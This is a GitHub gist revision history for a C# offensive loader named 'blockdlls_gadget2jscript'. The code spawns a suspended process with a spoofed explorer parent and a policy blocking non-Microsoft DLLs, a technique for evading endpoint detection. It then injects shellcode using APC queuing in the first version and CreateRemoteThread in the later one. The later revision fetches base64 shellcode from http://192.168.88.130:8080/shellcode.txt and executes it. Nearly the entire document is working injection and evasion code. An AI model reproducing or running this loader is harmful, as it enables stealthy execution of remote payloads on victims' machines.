Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save RedTeams/096e708e1c7af4fe65e48b633a58b878 to your computer and use it in GitHub Desktop.
Save RedTeams/096e708e1c7af4fe65e48b633a58b878 to your computer and use it in GitHub Desktop.

Revisions

  1. @rvrsh3ll rvrsh3ll revised this gist May 1, 2020. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion blockdlls_gadget2jscript.cs
    Original file line number Diff line number Diff line change
    @@ -34,7 +34,8 @@ public static Win32.PROCESS_INFORMATION CreateTargetProcess(string targetProcess
    Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
    startInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
    Win32.InitializeProcThreadAttributeList(startInfoEx.lpAttributeList, 2, 0, ref lpSize);

    // If we are x86 use this instead
    // Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE)));
    Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));

    Win32.UpdateProcThreadAttribute(
  2. @rvrsh3ll rvrsh3ll revised this gist Feb 19, 2020. 1 changed file with 201 additions and 209 deletions.
    410 changes: 201 additions & 209 deletions blockdlls_gadget2jscript.cs
    Original file line number Diff line number Diff line change
    @@ -1,249 +1,241 @@
    using System;
    using System.IO;
    using System.Net;
    using System.Diagnostics;
    using System.Reflection;
    using System.IO.Compression;
    using System.Runtime.InteropServices;

    public class TestClass
    public class Payload
    {
    class Win32 {
    public static UInt32 MEM_COMMIT = 0x1000;

    //private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
    public static UInt32 PAGE_READWRITE = 0x04;
    public static UInt32 PAGE_EXECUTE_READ = 0x20;


    [Flags]
    public enum ProcessAccessFlags : uint
    public Payload()
    {
    All = 0x001F0FFF,
    Terminate = 0x00000001,
    CreateThread = 0x00000002,
    VirtualMemoryOperation = 0x00000008,
    VirtualMemoryRead = 0x00000010,
    VirtualMemoryWrite = 0x00000020,
    DuplicateHandle = 0x00000040,
    CreateProcess = 0x000000080,
    SetQuota = 0x00000100,
    SetInformation = 0x00000200,
    QueryInformation = 0x00000400,
    QueryLimitedInformation = 0x00001000,
    Synchronize = 0x00100000
    var processInfo = CreateTargetProcess(@"C:\Windows\System32\notepad.exe");
    var shellcode = GetShellcode("http://192.168.88.130:8080/shellcode.txt");
    Inject(processInfo, shellcode);
    }

    [Flags]
    public enum ProcessCreationFlags : uint

    public static Win32.PROCESS_INFORMATION CreateTargetProcess(string targetProcess)
    {
    var startInfoEx = new Win32.STARTUPINFOEX();
    var processInfo = new Win32.PROCESS_INFORMATION();

    startInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startInfoEx);

    var lpValue = Marshal.AllocHGlobal(IntPtr.Size);

    try
    {
    var processSecurity = new Win32.SECURITY_ATTRIBUTES();
    var threadSecurity = new Win32.SECURITY_ATTRIBUTES();
    processSecurity.nLength = Marshal.SizeOf(processSecurity);
    threadSecurity.nLength = Marshal.SizeOf(threadSecurity);

    var lpSize = IntPtr.Zero;
    Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
    startInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
    Win32.InitializeProcThreadAttributeList(startInfoEx.lpAttributeList, 2, 0, ref lpSize);

    Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));

    Win32.UpdateProcThreadAttribute(
    startInfoEx.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );

    var parentHandle = Process.GetProcessesByName("explorer")[0].Handle;
    lpValue = Marshal.AllocHGlobal(IntPtr.Size);
    Marshal.WriteIntPtr(lpValue, parentHandle);

    Win32.UpdateProcThreadAttribute(
    startInfoEx.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );

    Win32.CreateProcess(
    targetProcess,
    null,
    ref processSecurity,
    ref threadSecurity,
    false,
    Win32.CreationFlags.ExtendedStartupInfoPresent | Win32.CreationFlags.CreateSuspended,
    IntPtr.Zero,
    null,
    ref startInfoEx,
    out processInfo
    );
    }
    catch (Exception e)
    {
    Console.Error.WriteLine(e.StackTrace);
    }
    finally
    {
    Win32.DeleteProcThreadAttributeList(startInfoEx.lpAttributeList);
    Marshal.FreeHGlobal(startInfoEx.lpAttributeList);
    Marshal.FreeHGlobal(lpValue);

    Console.WriteLine("{0} started", processInfo.dwProcessId);
    }

    return processInfo;
    }

    public static void Inject(Win32.PROCESS_INFORMATION targetProcess, byte[] shellcode)
    {
    var allocatedRegion = Win32.VirtualAllocEx(targetProcess.hProcess, IntPtr.Zero, (uint)shellcode.Length, Win32.AllocationType.Commit | Win32.AllocationType.Reserve, Win32.MemoryProtection.ReadWrite);

    UIntPtr bytesWritten;
    Win32.WriteProcessMemory(targetProcess.hProcess, allocatedRegion, shellcode, (uint)shellcode.Length, out bytesWritten);

    Win32.MemoryProtection oldProtect;
    Win32.VirtualProtectEx(targetProcess.hProcess, allocatedRegion, (uint)shellcode.Length, Win32.MemoryProtection.ExecuteRead, out oldProtect);

    Win32.CreateRemoteThread(targetProcess.hProcess, IntPtr.Zero, 0, allocatedRegion, IntPtr.Zero, 0, IntPtr.Zero);
    }

    public static byte[] GetShellcode(string url)
    {
    ZERO_FLAG = 0x00000000,
    CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
    CREATE_DEFAULT_ERROR_MODE = 0x04000000,
    CREATE_NEW_CONSOLE = 0x00000010,
    CREATE_NEW_PROCESS_GROUP = 0x00000200,
    CREATE_NO_WINDOW = 0x08000000,
    CREATE_PROTECTED_PROCESS = 0x00040000,
    CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
    CREATE_SEPARATE_WOW_VDM = 0x00001000,
    CREATE_SHARED_WOW_VDM = 0x00001000,
    CREATE_SUSPENDED = 0x00000004,
    CREATE_UNICODE_ENVIRONMENT = 0x00000400,
    DEBUG_ONLY_THIS_PROCESS = 0x00000002,
    DEBUG_PROCESS = 0x00000001,
    DETACHED_PROCESS = 0x00000008,
    EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
    INHERIT_PARENT_AFFINITY = 0x00010000
    WebClient client = new WebClient();
    client.Proxy = WebRequest.GetSystemWebProxy();
    client.Proxy.Credentials = CredentialCache.DefaultCredentials;
    string compressedEncodedShellcode = client.DownloadString(url);
    return Convert.FromBase64String(compressedEncodedShellcode);
    }
    }

    public class Win32
    {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);

    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
    public int dwProcessId;
    public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public IntPtr lpReserved;
    public IntPtr lpDesktop;
    public IntPtr lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFillAttributes;
    public uint dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public ushort wShowWindow;
    public ushort cbReserved;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
    public IntPtr hStdErr;
    }
    [Flags]
    public enum ThreadAccess : int

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFOEX
    {
    TERMINATE = (0x0001) ,
    SUSPEND_RESUME = (0x0002) ,
    GET_CONTEXT = (0x0008) ,
    SET_CONTEXT = (0x0010) ,
    SET_INFORMATION = (0x0020) ,
    QUERY_INFORMATION = (0x0040) ,
    SET_THREAD_TOKEN = (0x0080) ,
    IMPERSONATE = (0x0100) ,
    DIRECT_IMPERSONATION = (0x0200)
    public STARTUPINFO StartupInfo;
    public IntPtr lpAttributeList;
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
    int dwThreadId);

    [DllImport("kernel32.dll",SetLastError = true)]
    public static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    int nSize,
    out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
    Int32 size, UInt32 flAllocationType, UInt32 flProtect);
    [DllImport("kernel32.dll", SetLastError = true )]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
    Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(
    ProcessAccessFlags processAccess,
    bool bInheritHandle,
    int processId
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    [DllImport("kernel32.dll")]
    public static extern uint ResumeThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    public static extern uint SuspendThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
    int dwSize, uint flNewProtect, out uint lpflOldProtect);

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFOEX
    {
    public STARTUPINFO StartupInfo;
    public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
    public int nLength;
    public IntPtr lpSecurityDescriptor;
    public int bInheritHandle;
    }

    [Flags]
    public enum ProcThreadAttribute : int
    {
    MITIGATION_POLICY = 0x20007,
    PARENT_PROCESS = 0x00020000
    }
    public struct SECURITY_ATTRIBUTES
    {
    public int nLength;
    public IntPtr lpSecurityDescriptor;
    public int bInheritHandle;
    }

    [Flags]
    public enum BinarySignaturePolicy : ulong
    {
    BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
    BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
    }
    [Flags]
    public enum ProcThreadAttribute : int
    {
    MITIGATION_POLICY = 0x20007,
    PARENT_PROCESS = 0x00020000
    }

    public TestClass()
    {
    string a = "";
    byte[] dhu = System.Convert.FromBase64String(a);



    // Target process to inject into
    string processpath = "C:/Program Files/Internet Explorer/iexplore.exe";
    Win32.STARTUPINFOEX si = new Win32.STARTUPINFOEX();
    Win32.PROCESS_INFORMATION pi = new Win32.PROCESS_INFORMATION();

    si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
    [Flags]
    public enum BinarySignaturePolicy : ulong
    {
    BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
    BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
    }

    var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
    [Flags]
    public enum CreationFlags : uint
    {
    CreateSuspended = 0x00000004,
    DetachedProcess = 0x00000008,
    CreateNoWindow = 0x08000000,
    ExtendedStartupInfoPresent = 0x00080000
    }

    [Flags]
    public enum AllocationType
    {
    Commit = 0x1000,
    Reserve = 0x2000,
    Decommit = 0x4000,
    Release = 0x8000,
    Reset = 0x80000,
    Physical = 0x400000,
    TopDown = 0x100000,
    WriteWatch = 0x200000,
    LargePages = 0x20000000
    }

    var processSecurity = new Win32.SECURITY_ATTRIBUTES();
    var threadSecurity = new Win32.SECURITY_ATTRIBUTES();
    processSecurity.nLength = Marshal.SizeOf(processSecurity);
    threadSecurity.nLength = Marshal.SizeOf(threadSecurity);

    var lpSize = IntPtr.Zero;
    Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
    si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
    Win32.InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, ref lpSize);
    Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));

    //Marshal.WriteIntPtr(lpValue, IntPtr.Zero);
    Win32.UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );
    var parentHandle = Process.GetProcessesByName("explorer")[0].Handle;
    lpValue = Marshal.AllocHGlobal(IntPtr.Size);
    Marshal.WriteIntPtr(lpValue, parentHandle);

    Win32.UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );

    // Create new process in suspended state to inject into
    bool success = Win32.CreateProcess(processpath, null,
    ref processSecurity, ref threadSecurity,
    false,
    Win32.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | Win32.ProcessCreationFlags.CREATE_SUSPENDED,
    IntPtr.Zero, null, ref si, out pi);

    // Allocate memory within process and write dhu
    IntPtr resultPtr = Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, dhu.Length,Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
    IntPtr bytesWritten = IntPtr.Zero;
    bool resultBool = Win32.WriteProcessMemory(pi.hProcess,resultPtr,dhu,dhu.Length, out bytesWritten);

    // Open thread
    IntPtr sht = Win32.OpenThread(Win32.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
    uint oldProtect = 0;

    // Modify memory permissions on allocated dhu
    resultBool = Win32.VirtualProtectEx(pi.hProcess,resultPtr, dhu.Length,Win32.PAGE_EXECUTE_READ, out oldProtect);

    // Assign address of dhu to the target thread apc queue
    IntPtr ptr = Win32.QueueUserAPC(resultPtr,sht,IntPtr.Zero);

    IntPtr ThreadHandle = pi.hThread;
    Win32.ResumeThread(ThreadHandle);

    [Flags]
    public enum MemoryProtection
    {
    Execute = 0x10,
    ExecuteRead = 0x20,
    ExecuteReadWrite = 0x40,
    ExecuteWriteCopy = 0x80,
    NoAccess = 0x01,
    ReadOnly = 0x02,
    ReadWrite = 0x04,
    WriteCopy = 0x08,
    GuardModifierflag = 0x100,
    NoCacheModifierflag = 0x200,
    WriteCombineModifierflag = 0x400
    }
    }
  3. @rvrsh3ll rvrsh3ll created this gist Feb 19, 2020.
    249 changes: 249 additions & 0 deletions blockdlls_gadget2jscript.cs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,249 @@
    using System;
    using System.Diagnostics;
    using System.Reflection;
    using System.Runtime.InteropServices;

    public class TestClass
    {
    class Win32 {
    public static UInt32 MEM_COMMIT = 0x1000;

    //private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
    public static UInt32 PAGE_READWRITE = 0x04;
    public static UInt32 PAGE_EXECUTE_READ = 0x20;


    [Flags]
    public enum ProcessAccessFlags : uint
    {
    All = 0x001F0FFF,
    Terminate = 0x00000001,
    CreateThread = 0x00000002,
    VirtualMemoryOperation = 0x00000008,
    VirtualMemoryRead = 0x00000010,
    VirtualMemoryWrite = 0x00000020,
    DuplicateHandle = 0x00000040,
    CreateProcess = 0x000000080,
    SetQuota = 0x00000100,
    SetInformation = 0x00000200,
    QueryInformation = 0x00000400,
    QueryLimitedInformation = 0x00001000,
    Synchronize = 0x00100000
    }

    [Flags]
    public enum ProcessCreationFlags : uint
    {
    ZERO_FLAG = 0x00000000,
    CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
    CREATE_DEFAULT_ERROR_MODE = 0x04000000,
    CREATE_NEW_CONSOLE = 0x00000010,
    CREATE_NEW_PROCESS_GROUP = 0x00000200,
    CREATE_NO_WINDOW = 0x08000000,
    CREATE_PROTECTED_PROCESS = 0x00040000,
    CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
    CREATE_SEPARATE_WOW_VDM = 0x00001000,
    CREATE_SHARED_WOW_VDM = 0x00001000,
    CREATE_SUSPENDED = 0x00000004,
    CREATE_UNICODE_ENVIRONMENT = 0x00000400,
    DEBUG_ONLY_THIS_PROCESS = 0x00000002,
    DEBUG_PROCESS = 0x00000001,
    DETACHED_PROCESS = 0x00000008,
    EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
    INHERIT_PARENT_AFFINITY = 0x00010000
    }
    public struct PROCESS_INFORMATION
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
    }
    public struct STARTUPINFO
    {
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
    }

    [Flags]
    public enum ThreadAccess : int
    {
    TERMINATE = (0x0001) ,
    SUSPEND_RESUME = (0x0002) ,
    GET_CONTEXT = (0x0008) ,
    SET_CONTEXT = (0x0010) ,
    SET_INFORMATION = (0x0020) ,
    QUERY_INFORMATION = (0x0040) ,
    SET_THREAD_TOKEN = (0x0080) ,
    IMPERSONATE = (0x0100) ,
    DIRECT_IMPERSONATION = (0x0200)
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
    int dwThreadId);

    [DllImport("kernel32.dll",SetLastError = true)]
    public static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    int nSize,
    out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
    Int32 size, UInt32 flAllocationType, UInt32 flProtect);
    [DllImport("kernel32.dll", SetLastError = true )]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
    Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr OpenProcess(
    ProcessAccessFlags processAccess,
    bool bInheritHandle,
    int processId
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    [DllImport("kernel32.dll")]
    public static extern uint ResumeThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    public static extern uint SuspendThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
    int dwSize, uint flNewProtect, out uint lpflOldProtect);

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFOEX
    {
    public STARTUPINFO StartupInfo;
    public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
    public int nLength;
    public IntPtr lpSecurityDescriptor;
    public int bInheritHandle;
    }

    [Flags]
    public enum ProcThreadAttribute : int
    {
    MITIGATION_POLICY = 0x20007,
    PARENT_PROCESS = 0x00020000
    }

    [Flags]
    public enum BinarySignaturePolicy : ulong
    {
    BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
    BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x300000000000
    }
    }

    public TestClass()
    {
    string a = "";
    byte[] dhu = System.Convert.FromBase64String(a);



    // Target process to inject into
    string processpath = "C:/Program Files/Internet Explorer/iexplore.exe";
    Win32.STARTUPINFOEX si = new Win32.STARTUPINFOEX();
    Win32.PROCESS_INFORMATION pi = new Win32.PROCESS_INFORMATION();

    si.StartupInfo.cb = (uint)Marshal.SizeOf(si);

    var lpValue = Marshal.AllocHGlobal(IntPtr.Size);


    var processSecurity = new Win32.SECURITY_ATTRIBUTES();
    var threadSecurity = new Win32.SECURITY_ATTRIBUTES();
    processSecurity.nLength = Marshal.SizeOf(processSecurity);
    threadSecurity.nLength = Marshal.SizeOf(threadSecurity);

    var lpSize = IntPtr.Zero;
    Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize);
    si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
    Win32.InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, ref lpSize);
    Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE));

    //Marshal.WriteIntPtr(lpValue, IntPtr.Zero);
    Win32.UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );
    var parentHandle = Process.GetProcessesByName("explorer")[0].Handle;
    lpValue = Marshal.AllocHGlobal(IntPtr.Size);
    Marshal.WriteIntPtr(lpValue, parentHandle);

    Win32.UpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
    lpValue,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero
    );

    // Create new process in suspended state to inject into
    bool success = Win32.CreateProcess(processpath, null,
    ref processSecurity, ref threadSecurity,
    false,
    Win32.ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT | Win32.ProcessCreationFlags.CREATE_SUSPENDED,
    IntPtr.Zero, null, ref si, out pi);

    // Allocate memory within process and write dhu
    IntPtr resultPtr = Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, dhu.Length,Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
    IntPtr bytesWritten = IntPtr.Zero;
    bool resultBool = Win32.WriteProcessMemory(pi.hProcess,resultPtr,dhu,dhu.Length, out bytesWritten);

    // Open thread
    IntPtr sht = Win32.OpenThread(Win32.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
    uint oldProtect = 0;

    // Modify memory permissions on allocated dhu
    resultBool = Win32.VirtualProtectEx(pi.hProcess,resultPtr, dhu.Length,Win32.PAGE_EXECUTE_READ, out oldProtect);

    // Assign address of dhu to the target thread apc queue
    IntPtr ptr = Win32.QueueUserAPC(resultPtr,sht,IntPtr.Zero);

    IntPtr ThreadHandle = pi.hThread;
    Win32.ResumeThread(ThreadHandle);

    }
    }